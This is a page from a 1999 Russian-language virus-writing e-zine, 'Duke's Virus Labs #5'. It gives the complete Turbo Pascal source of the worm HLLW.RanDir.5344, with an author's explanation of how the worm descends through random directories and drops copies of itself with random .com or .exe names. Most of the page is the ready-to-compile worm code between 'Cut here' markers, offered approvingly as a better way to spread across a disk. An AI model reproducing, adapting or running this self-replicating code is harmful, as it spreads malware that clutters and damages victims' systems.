- [Duke's Virus Labs #5] - [Page 05] - HLLW.RanDir.5344 (c) by Duke/SMF Имя вируса : HLLW.RanDir.5344 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 03.03.99 Размер мельчает, а технология совершенствуется ! Теперь вирус уже не трещит оглушительно винтом в течении нескольких минут, а очень быстро делает свое черное дело :) Идея такова : определяется текущий диск, подсчитывается число директорий в корне, берется случайное число от 0 до этого найденного числа. После этого если число не 0, то переходим к подсчету кол-ва вложенных директорий в папке с найденным номером, и т.д., а иначе копируем вирус в корень. Процесс углубления в глубь каталогов идет до тех пор, пока не закончатся вложенные папки или не выпадет 0. В этом случае копируемся в полученный путь :) Таким образом процесс поиска случайной папки очень быстрый и вирусы плавно рассеиваются по всему диску... ===== Cut here ===== {$I-,S-} program Virus_RandomDir_3; uses dos; const VirLen=5344; var Num:integer; {номер интересующей директории} NewName, {имя создаваемого червя} P:string; {найденная директория} Y:boolean; {признак того, что дошли до тупика} {---------------------------------------------------------------------------} procedure MakeWorm; {создаем червя со случайным именем} var f:file; i,d,C:byte; M:integer; Body:array[1..VirLen] of byte; begin {-- Создаем имя} d:=random(8)+1; NewName:='[HLLW.RanDir-3 (c) by Duke/SMF]'; {мои копирайты ;)} NewName:=''; for i:=1 to d do NewName:=NewName+chr(random(26)+97); d:=random(255); if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe'; {-- Создаем файл} NewName:=P+'\'+NewName; {дополняем имя путем} assign(f,paramstr(0));reset(f,1); blockread(f,Body,VirLen); close(f); assign(f,NewName);rewrite(f,1); blockwrite(f,Body,VirLen); for M:=0 to random(1000) do begin C:=random(255); blockwrite(f,C,1); end; close(f); end; {---------------------------------------------------------------------------} function ScanTree(Dir:string):integer; {считаем кол-во директорий} var N:searchrec; D:integer; begin D:=0; Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then D:=D+1; findnext(N); end; ScanTree:=D; end; {---------------------------------------------------------------------------} procedure FindDir(var Dir:string;D:integer); {искать нужную директорию} var N:searchrec; K:integer; begin if D=0 then Y:=true else begin K:=0; Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then K:=K+1; if K=D then begin P:=P+N.name; exit; end; findnext(N); end; end; end; {---------------------------------------------------------------------------} begin Randomize; {инициируем random-генератор} P:=copy(fexpand(paramstr(0)),1,2); {определили имя диска} Y:=false; while Y=false do begin Num:=random(ScanTree(P)); FindDir(P,Num); end; MakeWorm; {создаем червя} end. ===== Cut here =====